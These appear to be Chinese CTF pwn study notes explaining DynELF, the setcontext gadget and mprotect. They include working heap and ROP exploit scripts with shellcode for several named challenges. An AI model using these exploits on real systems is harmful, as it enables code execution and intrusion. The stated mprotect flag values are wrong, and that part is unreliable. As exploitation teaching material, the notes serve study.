DynELF

DynELF是pwntools中专门用来应对没有libc情况的漏洞利用模块,在提供一个目标程序任意地址内存泄漏函数的情况下,可以解析任意加载库的任意符号地址。

其原理就是通过程序漏洞泄露出任意地址内容,结合ELF文件的结构特征获取对应版本文件并计算对比出目标符号在内存中的地址

适用情况

DynELF泄露函数方法最方便的使用情况是程序中最好含有write函数且可以多次调用main函数,不然的话还是用LibcSearcher的方法泄露比较好

引例

官方文档给的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# Assume a process or remote connection
p = process('./pwnme')

# Declare a function that takes a single address, and
# leaks at least one byte at that address.
def leak(address):
data = p.read(address, 4)
log.debug("%#x => %s", address, enhex(data or ''))
return data

# For the sake of this example, let's say that we
# have any of these pointers. One is a pointer into
# the target binary, the other two are pointers into libc
main = 0xfeedf4ce
libc = 0xdeadb000
system = 0xdeadbeef

# With our leaker, and a pointer into our target binary,
# we can resolve the address of anything.
#
# We do not actually need to have a copy of the target
# binary for this to work.
d = DynELF(leak, main)
assert d.lookup(None, 'libc') == libc
assert d.lookup('system', 'libc') == system

# However, if we *do* have a copy of the target binary,
# we can speed up some of the steps.
d = DynELF(leak, main, elf=ELF('./pwnme'))
assert d.lookup(None, 'libc') == libc
assert d.lookup('system', 'libc') == system

# Alternately, we can resolve symbols inside another library,
# given a pointer into it.
d = DynELF(leak, libc + 0x1234)
assert d.lookup('system') == system

log.debug(“%#x => %s”, address, enhex(data or ‘’))解释

1
2
3
log.debug是pwntools中的日志工具,%#x表示输出一个整数的十六进制表示(带有0x前缀),%s表示输出一个字符串。address是要输出的内存地址,data是该地址对应的数据(一个字符串),enhex是pwntools中的工具函数,用于将字符串转换为十六进制表示的字符串(每个字节用两个十六进制字符表示),与encode('hex')相似。
整个输出结果类似于:[DEBUG] 0x12345678 => 6162636465666768
(data or '')的作用是,当data变量为空(None)或者为False时,返回一个空字符串'',否则返回data本身。

一个更具体的例子

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulfun(){
char buf[128];
read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv){
vulfun();
write(STDOUT_FILENO, "Hello,World\n", 13);
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python
from pwn import *

elf = ELF('elf')
plt_write = elf.symbols['write']
plt_read = elf.symbols['read']
vulfun_addr = 0x08048404

def leak(address):
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) + p32(address) + p32(4)
p.send(payload1)
data = p.recv(4)
return data

p = process('./elf')
d=DynELF(leak, ptr)
system_addr = d.lookup('system', 'libc')

bss_addr = 0x0804a018
pppr = 0x080484bd
payload2 = 'a'*140 + p32(plt_read) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8) + p32(system_addr) + p32(vulfun_addr) + p32(bss_addr) #这里藏了一个之前没注意过的知识点①
p.send(payload2)
p.send("/bin/sh\0")
p.interactive()

上面的exp使用了一个pppr(其实就是pop-pop-pop-ret),作为read的返回地址,这个是很有必要的,鉴于32位下返回地址和参数的互通性(64位也会但一般都不会超过6个参数),如果read后直接接需要的函数地址那么read的参数又会变为所需函数的返回地址和参数,这显然不是我们所希望的,于是通过pppr来重新划分函数栈

基础框架

1
2
3
4
5
6
7
8
9
10
11
p = remote(ip, port)

def leak(addr):
payload2leak_addr = “****” + pack(addr) + “****”
p.send(payload2leak_addr)
data = p.recv()
return data

d = DynELF(leak, pointer = pointer_into_ELF_file, elf = ELFObject)
system_addr = d.lookup('system', 'libc')
read_add = d.lookup('read','libc')

使用DynELF时,我们需要使用一个leak函数作为必选参数指向ELF文件的指针或者使用ELF类加载的目标文件至少提供一个作为可选参数,以初始化一个DynELF类的实例d。然后就可以通过这个实例d的方法lookup来搜寻libc库函数了;
其中,leak函数需要使用目标程序本身的漏洞泄露出由DynELF类传入的int型参数addr对应的内存地址中的数据且由于DynELF会多次调用leak函数,这个函数必须能任意次使用,即不能泄露几个地址之后就导致程序崩溃。由于需要泄露数据payload中必然包含着打印函数,如write, puts, printf等
而通过实践发现write函数是最理想的,因为write函数的特点在于其输出完全由其参数size决定,只要目标地址可读,size填多少就输出多少,不会受到诸如‘\0’, ‘\n’之类的字符影响而puts, printf函数会受到诸如‘\0’, ‘\n’之类的字符影响,在对数据的读取和处理有一定的难度

结合上面的引例,对DynELF应该能有一个基础认识

leak模板

Write函数模板

1
2
3
4
5
6
7
8
9
10
11
12
13
def leak(address):
#address是待泄露的地址
payload = offset + p32(write) + p32(main_addr) + p32(1) + p32(address) + p32(4)
#payload = 溢出位 + write\puts\printf + 返回地址 + 参数1 + 参数2 + 参数3
sh.sendline(payload)
data = sh.recv(4)
#用于接受返回的地址,32位接收4位,64位接收8位
log.success('%x -> %s'%(address,hex(u32(data))))
return data
libc = DynELF(leak, elf=ELF(file_path))
#初始化DynELF模块,也就是程序的elf变量
system_addr = libc.lookup('system', 'libc')
#在libc文件中搜索system

puts函数模板

puts 函数使用的参数只有一个,即需要输出的数据的起始地址,它会一直输出直到遇到 \x00,所以它输出的数据长度是不容易控制的,我们无法预料到零字符会出现在哪里,截止后,puts 还会自动在末尾加上换行符该函数的优点是在 64 位程序中也可以很方便地使用。**缺点是会受到零字符截断的影响**,在写 leak 函数时需要特殊处理,在打印出的数据中正确地筛选我们需要的部分,如果打印出了空字符串,则要手动赋值\x00,包括我们在 dump 内存的时候,也常常受这个问题的困扰,

Puts函数后没有其他输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def leak(address):
count = 0
data = ''
payload = p32(puts_plt_addr) + p32(main_addr) + p32(address)
sh.send(payload)
print sh.recvuntil('xxx\n') #一定要在puts前释放完输出
up = ""
while True:
c = sh.recv(numb=1, timeout=1)
count += 1
if up == '\n' and c == "":
buf = buf[:-1]
buf += "\x00"
break
else:
buf += c
up = c
data = buf[:4]
log.info("%#x => %s" % (address, (data or '').encode('hex')))
return data

Puts函数后程序还有其他输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def leak(address):
count = 0
data = ""
payload = xxx
sh.send(payload)
print sh.recvuntil("xxx\n") #一定要在puts前释放完输出
up = ""
while True:
c = sh.recv(1)
count += 1
if up == '\n' and c == "x": #一定要找到泄漏信息的字符串特征
data = buf[:-1]
data += "\x00"
break
else:
buf += c
up = c
data = buf[:4]
log.info("%#x => %s" % (address, (data or '').encode('hex')))
return data

原理

了解一下,要求不高

获取elf内存加载基地址

已知elf加载内存范围内的一个地址ptr,将该地址进行页对齐

1
page_size = 0x1000page_mask = ~(page_size - 1)ptr &= page_mask

然后对比内存页起始字符串是否为’\x7fELF’,如果不是,一直向低地址内存页(ptr -= page_size)进行查找,找到符合该条件的页面,该页面起始地址就是elf文件内存加载基地址。

寻找elf内存加载基地址的示意图如下:

获取libc.so内存加载基地址

elf是动态链接的可执行文件,在该类型文件中有一个link_map双向链表,其中包含了每个动态加载的库的路径和加载基址等信息

可以通过两种途径获取link_map链表:一是在所有ELF文件中,通过Dynamic段DT_DEBUG区域得到。二是在non-RELRO ELF文件中,link_map地址存在于.got.plt区节中,该区节的加载地址可以从DYNAMIC段DT_PLTGOT区域得到。

这两种途径都需要知道elf的DYNAMIC段地址:我们在第一步中获取了elf内存加载基地址,由此可以得到elf段表,通过解析elf段表可以得到DYNAMIC基地址。

通过第二种方式获取link_map结构的示意图如下:

获取libc.so的hash表、动态符号表、字符串表基地址

在所有需要导出函数给其他文件使用的ELF文件(例如: “libc.so”)中,用动态符号表、字符串表、hash表等一系列表用于指示导出符号(例如:”system”)的名称、地址、hash值等信息。通过libc.so的Dynamic段DT_GNU_HASH、DT_SYMTAB、DT_STRTAB可以获取hash表、动态符号表、字符串表在内存中的基地址。

通过hash表获取system函数地址

hash表是用于查找符号的散列表,通过libc.so的hash表可以找到system函数内存加载地址,在ELF文件中有SYSV、GNU两种类型的hash表,其中通过GNU HASH查找system函数地址示意图如下。

图中: nbuckets是hash buckets的数值,symndx是hash表映射符号表的起始索引,Bloom Filter用作过滤不在符号表中的符号名称,在DynELF中并没有使用:

1
hash=gnu_hash(“system”),gnu_hash是GNU HASH算法函数ndx=hash%nbuckets,ndx是符号表中所有 符号HASH%nubuckets 相等的起始索引

最后:内存泄露函数在过程中用作读取程序内存数据,像上面例子中获取link_map、DYNAMIC段、elf段表等内容都是通过内存泄露函数。

setcontext

基础

setcontext是libc中的一个函数

2.27版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
.text:0000000000052050                               ; __int64 __fastcall setcontext(__int64)
.text:0000000000052050 public setcontext ; weak
.text:0000000000052050 setcontext proc near ; CODE XREF: sub_58680+C↓p
.text:0000000000052050 ; DATA XREF: LOAD:0000000000009058↑o
.text:0000000000052050 ; __unwind {
.text:0000000000052050 57 push rdi
.text:0000000000052051 48 8D B7 28 01 00 00 lea rsi, [rdi+128h] ; nset
.text:0000000000052058 31 D2 xor edx, edx ; oset
.text:000000000005205A BF 02 00 00 00 mov edi, 2 ; how
.text:000000000005205F 41 BA 08 00 00 00 mov r10d, 8 ; sigsetsize
.text:0000000000052065 B8 0E 00 00 00 mov eax, 0Eh
.text:000000000005206A 0F 05 syscall ; LINUX - sys_rt_sigprocmask
.text:000000000005206C 5F pop rdi
.text:000000000005206D 48 3D 01 F0 FF FF cmp rax, 0FFFFFFFFFFFFF001h
.text:0000000000052073 73 5B jnb short loc_520D0
.text:0000000000052073
.text:0000000000052075 48 8B 8F E0 00 00 00 mov rcx, [rdi+0E0h]
.text:000000000005207C D9 21 fldenv byte ptr [rcx]
.text:000000000005207E 0F AE 97 C0 01 00 00 ldmxcsr dword ptr [rdi+1C0h]
.text:0000000000052085 48 8B A7 A0 00 00 00 mov rsp, [rdi+0A0h]
.text:000000000005208C 48 8B 9F 80 00 00 00 mov rbx, [rdi+80h]
.text:0000000000052093 48 8B 6F 78 mov rbp, [rdi+78h]
.text:0000000000052097 4C 8B 67 48 mov r12, [rdi+48h]
.text:000000000005209B 4C 8B 6F 50 mov r13, [rdi+50h]
.text:000000000005209F 4C 8B 77 58 mov r14, [rdi+58h]
.text:00000000000520A3 4C 8B 7F 60 mov r15, [rdi+60h]
.text:00000000000520A7 48 8B 8F A8 00 00 00 mov rcx, [rdi+0A8h]
.text:00000000000520AE 51 push rcx
.text:00000000000520AF 48 8B 77 70 mov rsi, [rdi+70h]
.text:00000000000520B3 48 8B 97 88 00 00 00 mov rdx, [rdi+88h]
.text:00000000000520BA 48 8B 8F 98 00 00 00 mov rcx, [rdi+98h]
.text:00000000000520C1 4C 8B 47 28 mov r8, [rdi+28h]
.text:00000000000520C5 4C 8B 4F 30 mov r9, [rdi+30h]
.text:00000000000520C9 48 8B 7F 68 mov rdi, [rdi+68h]
.text:00000000000520C9 ; } // starts at 52050
.text:00000000000520CD ; __unwind {
.text:00000000000520CD 31 C0 xor eax, eax
.text:00000000000520CF C3 retn

2.29版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
.text:0000000000055E00                               public setcontext ; weak
.text:0000000000055E00 setcontext proc near ; CODE XREF: sub_5C160+C↓p
.text:0000000000055E00 ; DATA XREF: LOAD:000000000000C6D8↑o
.text:0000000000055E00 ; __unwind {
.text:0000000000055E00 57 push rdi
.text:0000000000055E01 48 8D B7 28 01 00 00 lea rsi, [rdi+128h] ; nset
.text:0000000000055E08 31 D2 xor edx, edx ; oset
.text:0000000000055E0A BF 02 00 00 00 mov edi, 2 ; how
.text:0000000000055E0F 41 BA 08 00 00 00 mov r10d, 8 ; sigsetsize
.text:0000000000055E15 B8 0E 00 00 00 mov eax, 0Eh
.text:0000000000055E1A 0F 05 syscall ; LINUX - sys_rt_sigprocmask
.text:0000000000055E1C 5A pop rdx
.text:0000000000055E1D 48 3D 01 F0 FF FF cmp rax, 0FFFFFFFFFFFFF001h
.text:0000000000055E23 73 5B jnb short loc_55E80
.text:0000000000055E23
.text:0000000000055E25 48 8B 8A E0 00 00 00 mov rcx, [rdx+0E0h]
.text:0000000000055E2C D9 21 fldenv byte ptr [rcx]
.text:0000000000055E2E 0F AE 92 C0 01 00 00 ldmxcsr dword ptr [rdx+1C0h]
.text:0000000000055E35 48 8B A2 A0 00 00 00 mov rsp, [rdx+0A0h]
.text:0000000000055E3C 48 8B 9A 80 00 00 00 mov rbx, [rdx+80h]
.text:0000000000055E43 48 8B 6A 78 mov rbp, [rdx+78h]
.text:0000000000055E47 4C 8B 62 48 mov r12, [rdx+48h]
.text:0000000000055E4B 4C 8B 6A 50 mov r13, [rdx+50h]
.text:0000000000055E4F 4C 8B 72 58 mov r14, [rdx+58h]
.text:0000000000055E53 4C 8B 7A 60 mov r15, [rdx+60h]
.text:0000000000055E57 48 8B 8A A8 00 00 00 mov rcx, [rdx+0A8h]
.text:0000000000055E5E 51 push rcx
.text:0000000000055E5F 48 8B 72 70 mov rsi, [rdx+70h]
.text:0000000000055E63 48 8B 7A 68 mov rdi, [rdx+68h]
.text:0000000000055E67 48 8B 8A 98 00 00 00 mov rcx, [rdx+98h]
.text:0000000000055E6E 4C 8B 42 28 mov r8, [rdx+28h]
.text:0000000000055E72 4C 8B 4A 30 mov r9, [rdx+30h]
.text:0000000000055E76 48 8B 92 88 00 00 00 mov rdx, [rdx+88h]
.text:0000000000055E76 ; } // starts at 55E00
.text:0000000000055E7D ; __unwind {
.text:0000000000055E7D 31 C0 xor eax, eax
.text:0000000000055E7F C3 retn

不难看出利用的核心是rdi(2.29以前)和rdx(2.29及以后)

要从特定位置:mov rsp , [??]开始执行

需要从特定位置开始是因为上面的代码会使程序crash

程序控制了除rax以外的几乎所有寄存器,

其中rip是通过以下代码控制

1
2
3
4
mov     rcx, [rdi/rdx+0A8h]
push rcx
....
retn

唯一不可控的rax也在 xor eax, eax的作用下变为

利用

2.29以下

2.29以下的利用要更为简单一些

大部分题目中通过控制 rsp 和 rip 就可以很好地解决堆题不方便直接控制程序的执行流的问题。我们通常是吧 setcontext + 53 写进 free_hook 或者 malloc_hook 中,然后建立或者释放一个堆块,特别释放时 rdi 就会是该堆块的 chunk 头,那如果我们提前布局好堆,就意味着我们可以控制寄存器并劫持程序的执行流。

2.29及以上

2.29 最大的变动就是 setcontext 里控制寄存器由 rdi 变成了 rdx,这就使得我们无法通过直接控制 free 的堆块来控制寄存器。所以要用到一些 gadget 来把 rdi 和 rdx 转换一下。

可以在setcontext之前用一些gadget先由rdi控制rdx

例如如下两个,分别在2.38和2.31找到的gadget

mov rdx, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, rdx; jmp rax;

mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];

实战

silverwolf

checksec,保护全开

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

ida可以看到有开启沙盒,只允许orw

1
2
3
4
5
6
7
8
9
10
11
12
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x04 0xffffffff if (A != 0xffffffff) goto 0009
0005: 0x15 0x02 0x00 0x00000000 if (A == read) goto 0008
0006: 0x15 0x01 0x00 0x00000001 if (A == write) goto 0008
0007: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0009
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0009: 0x06 0x00 0x00 0x00000000 return KILL

功能是老四样,不过同时只能申请一个chunk

其中delete存在uaf,edit存在off-by-null

利用思路:

  1. 先清空seccomp带来的chunk
  2. 泄露heap_base
  3. 利用uaf写next为tcache_pthread,将其申请出来
  4. 七次free,每次都要破坏它的key
  5. 满后放入unsortedbin,泄露libc
  6. 准备好各个gadget,因为控制的是返回流所以使用gadeget
  7. 修改tcahe_pethread,使得申请chunk得到目标地址
  8. 写free_hook,同时在堆中布置参数环境
  9. free触发orw

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
from pwn import*
context.binary='./silverwolf'
libc=ELF('./libc-2.27.so')
p=process('./silverwolf')

cho=b'Your choice: ' # choice提示语
siz=b'Size: ' # size输入提示语
con=b'Content: ' # content输入提示语
ind=b'Index: ' # index输入提示语
edi=b'' # edit输入提示语


def add(size):
p.sendlineafter(cho,b'1')
p.sendlineafter(ind,b'0')
p.sendlineafter(siz,str(size).encode())

def free():
p.sendlineafter(cho,b'4')
p.sendlineafter(ind,b'0')

def show():
p.sendlineafter(cho,b'3')
p.sendlineafter(ind,b'0')

def edit(content):
p.sendlineafter(cho,b'2')
p.sendlineafter(ind,b'0')
p.sendafter(con,content)

def clean():
for i in range(14):
add(0x18)

add(0x58)

for i in range(12):
add(0x68)

def dbg():
gdb.attach(p)
pause()

clean()

add(0x78)
free()
show()
p.recvuntil(b'Content: ')
raw = u64(p.recv(6).ljust(8,b'\x00'))
info("raw :"+hex(raw))
heap = raw-0x11b0
success("heap:"+hex(heap))

edit(p64(heap+0x10)+p64(0)+b'\n')
add(0x78)
add(0x78)#申请free78申请到了tacahce pthread,并没有做检查

edit('\x00'*0x78)

for i in range(7):
free() #此时free就是放入0x250的链中
edit(p64(0)*2+b'\n')
#dbg()
free()# tcache满了,将tacahce pthread放入unsourted bin
show()

p.recvuntil(b'Content: ')
libc.address = u64(p.recvuntil('\x7f').ljust(8,b'\x00'))-96-0x10-libc.sym['__malloc_hook']
setcontext = libc.sym['setcontext']+53
free_hook = libc.sym['__free_hook']
success("free_hook:"+hex(free_hook))
success("setcontext:"+hex(setcontext))
pop_rdi = libc.address+0x00000000000215bf
pop_rsi = libc.address+0x0000000000023eea
syscall = 0xD2745+libc.address
pop_rdx_r10 = 0x0000000000130544+libc.address
pop_rax = libc.address + 0x0000000000043ae8

edit(p8(0x1)*64+p64(0)*3+p64(heap+0xef8)+p64(free_hook)+p64(heap+0xe18)+p64(heap+0xe80)+b'\n')
#修改tcache_pethread,可以任意写
success("orw:"+hex(heap+0xe18))
add(0x58)# 把freehook申请出来
edit(p64(setcontext)+b'\n')
#dbg()
add(0x48)
flag_str_addr = heap+0xf30
flag_addr = heap+0x200


rsp = heap+0xe18
rbx = 0
rbp = 0
r12 = 0
r13 = 0
r14 = 0
stack_pivot = flat(rbx,rbp,r12,r13,r14,rsp+8,pop_rdi,b'./flag\x00')
info("stack_pivot len:"+hex(len(stack_pivot)))
edit(stack_pivot+b'\n')
dbg()
add(0x68)
orw1 = flat(pop_rdi,flag_str_addr,pop_rsi,0,pop_rax,2,syscall,pop_rdi,3,pop_rsi,flag_addr,pop_rdx_r10,0x100,)

edit(orw1+b'\n')
add(0x78)

orw2 = flat(0,pop_rax,0,syscall,pop_rdi,1,pop_rsi,flag_addr,pop_rdx_r10,0x100,0,pop_rax,1,syscall)
edit(orw2+b'\n')
#dbg()

p.sendline(b'4')
p.sendline(b'0')
p.interactive()

运行结果:

1
2
3
4
5
6
7
[*] Switching to interactive mode
1. allocate
2. edit
3. show
4. delete
5. exit
Your choice: Index: flag{test}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00P\x00\x00\x00`\x00\x00\x00\x00ò\xa1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe2�\x17\x00\x00\x00\x00\x00\xe3�\x17\x00\x00\x00\x00\x00\x00\x00\x00\x001\x00\x00\x00\x00\xdc\xe9\xc7<\x7f\x000\xe6�\x17\x00\x03\x00\x00\x00P\xe4�\x17\x00\x00\x00\x00\x00!\x00\x00\x00\x00\xe2�\x17\x00\x00\x00\x00\x00$

rctf_2019_babyheap

checksec

1
2
3
4
5
6
[*] '/home/aichch/pwn/rctf'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

有沙盒只能orw,且程序mallopt(1,0)禁用了fastbin

edit存在一个off-by-null

1
2
*(_BYTE *)(*((_QWORD *)ptrs + 2 * (int)v1)
+ (int)read_n(*((void **)ptrs + 2 * (int)v1), *((_DWORD *)ptrs + 4 * (int)v1 + 2))) = 0;

这题利用还用到了house of storm

此外程序分配内存使用的callloc,会将分配出来的内存置0

利用思路:

  1. 先利用house of storm将free_hook-0x20作为一个chunk分配出来
  2. 往free_hook写上setcontext +(free_hook+0x18)*2 + shellcode1其中setcontext的内容为调用mprotect将free_hook所在页的权限修改,并修改rsp为free_hook后方并返回,shellcode1因为长度有限需要二次调用,故shellcode1为向free_hook所在段读入数据并jmp到此处
  3. 将setcontext结构所需数值保存到一个chunk中并free该chunk
  4. 发送真正的orw-shellcode2

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
from pwn import *
p=process('./rctf_2019_babyheap')
context.binary='./rctf_2019_babyheap'
libc=ELF('/home/aichch/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

menu = b"Choice: \n"
def add(size):
p.recvuntil(menu)
p.sendline(b'1')
p.recvuntil(b"Size: ")
p.sendline(str(size).encode())

def delete(index):
p.recvuntil(menu)
p.sendline(b'3')
p.recvuntil(b"Index: ")
p.sendline(str(index).encode())

def show(index):
p.recvuntil(menu)
p.sendline(b'4')
p.recvuntil(b"Index: ")
p.sendline(str(index).encode())

def edit(index, content):
p.recvuntil(menu)
p.sendline(b'2')
p.recvuntil(b"Index: ")
p.sendline(str(index).encode())
p.recvuntil(b"Content: ")
p.send(content)

def dbg():
gdb.attach(p)
pause()

add(0x80)
add(0x68)
add(0xf0)
add(0x18)
delete(0)
edit(1, b'a'*0x60 + p64(0x100))
delete(2)
add(0x80)
show(1)
malloc_hook= u64(p.recvuntil(b'\x7f').ljust(8, b'\x00')) - 0x58 - 0x10
libc.address=malloc_hook-libc.sym['__malloc_hook']
system = libc.sym['system']
free_hook = libc.sym['__free_hook']
set_context = libc.symbols['setcontext']
success("libc_base:"+hex(libc.address))
add(0x160)
add(0x18)
add(0x508)
add(0x18)
add(0x18)
add(0x508)
add(0x18)
add(0x18)

edit(5, b'a'*0x4f0+p64(0x500))
delete(5)#6's prev_inuse be 0
edit(4, b'a'*0x18)#size(0x510)->size(0x500),therefore set_inuse will set in a incorrect location,so 6's prev_inuse will always be 0
add(0x18)
add(0x4d8)
delete(5)

delete(6)#so uaf

add(0x30)
add(0x4e8)

edit(8, b'a'*0x4f0+p64(0x500))
delete(8) #again
edit(7, b'a'*0x18)
add(0x18)
add(0x4d8)
delete(8)
delete(9)
add(0x40)
delete(6)

add(0x4e8)
delete(6)
#dbg()

fake_chunk=free_hook-0x20
edit(11,b'\x00'*0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk))
edit(12,b'\x00'*0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8) +p64(0) + p64(fake_chunk-0x18-5))
add(0x48)
dbg()
sleep(0.5)

#up to now all do for house of storm

new_addr = free_hook &0xFFFFFFFFFFFFF000

shellcode1 = '''
xor rdi,rdi
mov rsi,%d
mov edx,0x1000

mov eax,0
syscall

jmp rsi
''' % new_addr
#read..
edit(6, b'a'*0x10+p64(set_context+53)+p64(free_hook+0x18)*2+asm(shellcode1))

frame = SigreturnFrame()
frame.rsp = free_hook+0x10
frame.rdi = new_addr
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = libc.sym['mprotect']
edit(12, str(frame))
delete(12)
sleep(0.5)
shellcode2 = '''
mov rax, 0x67616c662f ;// /flag
push rax

mov rdi, rsp ;// /flag
mov rsi, 0 ;// O_RDONLY
xor rdx, rdx ;
mov rax, 2 ;// SYS_open
syscall

mov rdi, rax ;// fd
mov rsi,rsp ;
mov rdx, 1024 ;// nbytes
mov rax,0 ;// SYS_read
syscall

mov rdi, 1 ;// fd
mov rsi, rsp ;// buf
mov rdx, rax ;// count
mov rax, 1 ;// SYS_write
syscall

mov rdi, 0 ;// error_code
mov rax, 60
syscall
'''
p.sendline(asm(shellcode2))

p.interactive()

运行结果,每次运行只有一定概率成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
aichch@sword-shield:~/桌面/pwn$ python 3.py
[+] Starting local process './rctf': pid 27043
[*] '/home/aichch/pwn/rctf'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/aichch/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] libc_base:0x7fa0b43a0000
0x7fa0b4766000
[*] Switching to interactive mode
[*] Process './rctf' stopped with exit code 0 (pid 27043)
flag{test}[*] Got EOF while reading in interactive
$
[*] Interrupted

mprotect

基础

mprotect 是一个系统调用,用于更改指定内存区域的保护属性,包括读、写、执行权限。它通常在操作系统中用于管理内存的访问权限,以增强程序的安全性和灵活性。在C语言中,mprotect 的原型如下:

1
int mprotect(void *addr, size_t len, int prot);
  • addr:指向目标内存区域起始地址的指针。

  • len:内存区域的长度(以字节为单位)。

  • prot:要设置的保护属性,使用以下标志的按位或组合:

    • PROT_NONE:禁止对内存区域的任何访问。0
    • PROT_READ:允许读取内存区域的内容。4
    • PROT_WRITE:允许写入内存区域的内容。2
    • PROT_EXEC:允许在内存区域中执行代码。1

mprotect 的作用在于修改指定内存区域的访问权限,从而允许或禁止不同类型的访问。这对于实现一些特定的内存保护机制非常有用,例如:

  1. 代码段保护:在程序运行时,将代码段设置为只执行(PROT_EXEC),以防止恶意代码注入并执行。
  2. 数据段保护:可以将某些敏感数据区域设置为只读(PROT_READ),防止在不合适的情况下被修改。
  3. 动态内存分配保护:在使用动态内存分配函数(如malloc)分配内存后,可以使用mprotect 来限制对该内存区域的访问权限,从而确保只有特定的操作可以修改或执行该内存。

在pwn中的利用

一般都是利用其修改某一块内存权限为rwx,然后去执行shellcode

例ciscn2023 烧烤摊儿

常规做法原本是ret2syscall构造rop链

但这道题没有pie且有使用mprotect函数

所以可以修改bss段上的空白内存的权限,再往里面写入shellcode,之后返回该处执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import*
context(arch='amd64',log_level='debug')
#binary = './shaokao'
#elf=ELF('./shaokao')
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
su = lambda buf,addr:io.success(buf+"==>"+hex(addr))

#io=remote("node2.anna.nssctf.cn",28568)
io = process('./shaokao')
sl(str(1))
sl(str(1))
sl(str(-1000000))

ru("> ")
sl(str(4))
read=0x457DC0#elf.symbols['read']
mprotect=0x458B00#elf.symbols['mprotect']
pop_rsi=0x40a67e
pop_rdx_rbx=0x4a404b
pop_rdi=0x40264f
#gdb.attach(p)
ru("> ")
sl(str(5))
ru("请赐名:")
payload=b'a' * 0x20+p64(0)
payload+=p64(pop_rdi)+p64(0x4E8000)#第一个参数addr,0x4E8000是bss段上的一块空白区域
payload+=p64(pop_rsi)+p64(0x1000)#第二个参数len
payload+=p64(pop_rdx_rbx)+p64(7)+p64(0)+p64(mprotect)#第三个参数prot以及函数调用
payload+=p64(pop_rdi)+p64(0)#read的第一个参数,0代表从用户输入的值中读取
payload+=p64(pop_rsi)+p64(0x4E8000)#read的第二个参数,代表数据输入到的地址
payload+=p64(pop_rdx_rbx)+p64(0x100)+p64(0)+p64(read)#read的第三个参数输入大小和read函数调用
payload+=p64(0x4E8000)
